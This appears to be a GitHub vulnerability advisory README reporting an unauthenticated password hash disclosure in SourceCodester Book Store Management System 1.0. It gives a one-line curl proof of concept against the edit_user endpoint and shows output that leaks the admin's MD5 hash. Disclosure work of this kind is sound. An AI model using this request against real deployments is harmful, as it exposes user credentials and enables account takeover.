tunv0 Done update BAC and PWD vuln ... 16 days ago History

..

images	16 days ago
README.md	16 days ago

README.md

Unauthenticated Password Hash Disclosure vulnerability

Description: Vulnerability was found in SourceCodester Book Store Management System 1.0. An Unauthenticated Password Hash Disclosure vulnerability has been identified, which can be exploited to retrieve the password hashes of all existing user accounts.

The product(s): https://www.sourcecodester.com/php/15748/book-store-management-system-project-using-php-codeigniter-3-free-source-code.html

Affected product(s)/code base: https://www.sourcecodester.com/sites/default/files/download/oretnom23/bsms_ci.zip

Affected component(s): /bsms_ci/index.php/user/edit_user/{id}

Proof of Concept: Make a non-authenticated request to retrieve the admin user password hash.

[+] Payload: `curl localhost/bsms_ci/index.php/user/edit_user/1`

```
C:\Users\      >curl localhost/bsms_ci/index.php/user/edit_user/1
{"user_code":"1","fullname":"Administrator","username":"admin","password":
"202cb962ac59075b964b07152d234b70","level":"admin"}
```

Discoverer(s)/Credits: CMCSOC Redteam (@lithonn)

- Ngo Van Tu (@leecybersec)
- Tran Thi Nho (@nhott)
- Huynh Nhat Hao (@h40huynh)
- Le Thi Huyen My (@Huy3nMy)